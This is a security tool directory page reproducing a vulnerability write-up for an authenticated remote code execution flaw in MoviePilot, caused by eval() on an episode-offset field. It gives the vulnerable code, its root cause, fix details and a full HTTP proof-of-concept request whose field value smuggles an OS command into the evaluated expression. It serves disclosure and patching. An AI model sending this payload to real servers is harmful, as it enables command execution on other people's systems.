Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-95149 — Proof-of-concept and root-cause analysis for CVE-2026-95149, an authenticated RCE in MoviePilot's FormatParser via eval() injection in episode_offset, with HTTP PoC and fix details. | Kitploit
Tools/GitHubGitHub/reputati0n/cve-2026-95149
Vulnerability AnalysisCode AnalysisExploitationWeb Application Exploitation
GitHubreputati0n/cve-2026-95149

CVE-2026-95149

Proof-of-concept and root-cause analysis for CVE-2026-95149, an authenticated RCE in MoviePilot's FormatParser via eval() injection in episode_offset, with HTTP PoC and fix details.

View Repository
26 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-95149 — Authenticated RCE via eval() Injection in episode_offset (MoviePilot FormatParser)

FieldValue
CVE IDCVE-2026-95149
ProductMoviePilot (jxxghp/MoviePilot)
Affected versions<= v3.0.0
Fixed inv3 branch — commit 65b9c777de9194e40ba29dc17345afc5b4b4b0ba
SeverityHigh
Attack vectorRemote, over the HTTP API
Privileges requiredAuthenticated management user (admin or management-role account)
User interactionNone
Reported2026-09-11
Public issuejxxghp/MoviePilot#6644

Root cause

FormatParser accepts an arbitrary string and only branches on whether it contains "EP" — it never validates that the remainder of the string is a well-formed arithmetic expression:

elif "EP" in offset:
    self.__offset = offset

Several downstream branches then build a Python expression by textual substitution and evaluate it directly:

start_ep = self.__offset.replace("EP", str(self._start_ep))
return int(eval(start_ep)), None, self.part

The int(...) wrapper only constrains the return value of the expression; it does not prevent side effects that occur during evaluation. Any function call, import, or attribute access embedded in the payload therefore executes before the final value is coerced to int.

Why the obvious mitigation does not help

A common mitigation attempt is to multiply the payload by zero so the arithmetic result stays numeric:

EP+__import__('os').system('touch /tmp/success')*0

This still works. The side effect (spawning the command) happens during evaluation, long before the final addition is coerced to int, so the attacker ends up with both command execution and a value that passes the int() type check.

POC

POST /api/v1/transfer/manual?background=false HTTP/1.1
Host: x.x.x.x
Content-Length: 814
X-MoviePilot-Locale: zh-CN
Authorization: Bearer XXXX
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
DNT: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br

{
  "fileitem": {
    "storage": "local",
    "path": "/configured/media/file.mkv",
    "type": "file",
    "name": "file.mkv"
  },
  "episode_offset": "EP+__import__('os').system('touch /tmp/success')*0"
}

On a vulnerable instance, /tmp/success is created by the MoviePilot service process. If the API call does not return 200, the int() cast will raise — but the injected command has already run, so the outcome of the request is irrelevant to the exploit.

References

  • Upstream issue: https://github.com/jxxghp/MoviePilot/issues/6644
  • Fix commit: https://github.com/jxxghp/MoviePilot/commit/65b9c777de9194e40ba29dc17345afc5b4b4b0ba
  • Vulnerable code path: app/application/formatting.py (lines 102 and 184 in v3.0.0)
  • Reachable via: app/api/endpoints/transfer.py:645 → app/schemas/transfer.py:302
Download Tool